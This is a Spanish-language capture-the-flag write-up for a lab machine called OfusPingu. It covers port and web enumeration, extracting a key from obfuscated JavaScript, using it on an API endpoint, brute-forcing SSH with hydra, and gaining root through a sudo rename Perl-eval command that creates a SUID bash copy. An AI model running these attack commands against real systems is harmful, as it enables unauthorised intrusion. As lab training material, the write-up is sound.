Write-ups

Resolución del CTF OfusPingu


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.105
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos los servicios HTTP en los puertos 80 y 3000, y SSH en el puerto 22.

Enumeración Web

Enumeramos contenido accesible en el servicio HTTP principal para localizar recursos relevantes.

gobuster dir -u http://192.168.0.105/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Localizamos un archivo JavaScript ofuscado que contiene lógica de validación y generación de tokens.

Extracción de Clave

Analizamos el código JavaScript y obtenemos una clave embebida utilizada por la aplicación para validar acceso.

echo "QWERTYCHOCOLATITOCHOCOLATONCHINGON"

Explotación de API

Enumeramos rutas expuestas en el servicio Node.js del puerto 3000.

gobuster dir -u http://192.168.0.105:3000/ -w /usr/share/wordlists/dirb/common.txt

Interactuamos con el endpoint /api utilizando la clave obtenida para generar acceso válido.

curl "http://192.168.0.105:3000/api?token=QWERTYCHOCOLATITOCHOCOLATONCHINGON"

Con la respuesta, accedemos al endpoint /view, que revela la existencia del usuario debian para acceso SSH.

Acceso Inicial

Realizamos un ataque de fuerza bruta contra el servicio SSH para obtener credenciales válidas.

hydra -l debian -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.105 -f

Accedemos al sistema mediante SSH con las credenciales obtenidas.

ssh [email protected]

Escalada de Privilegios

Comprobamos los privilegios sudo asignados al usuario actual.

sudo -l

Detectamos la posibilidad de ejecutar rename como root. Al ser un script Perl, abusamos de su evaluación para ejecutar comandos arbitrarios.

sudo rename 'system("cp /bin/bash /tmp/pwnsh; chmod 4755 /tmp/pwnsh")' dummy

Ejecutamos el binario SUID generado y obtenemos una shell con privilegios de root.

/tmp/pwnsh -p

Con esto comprometemos completamente el sistema.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *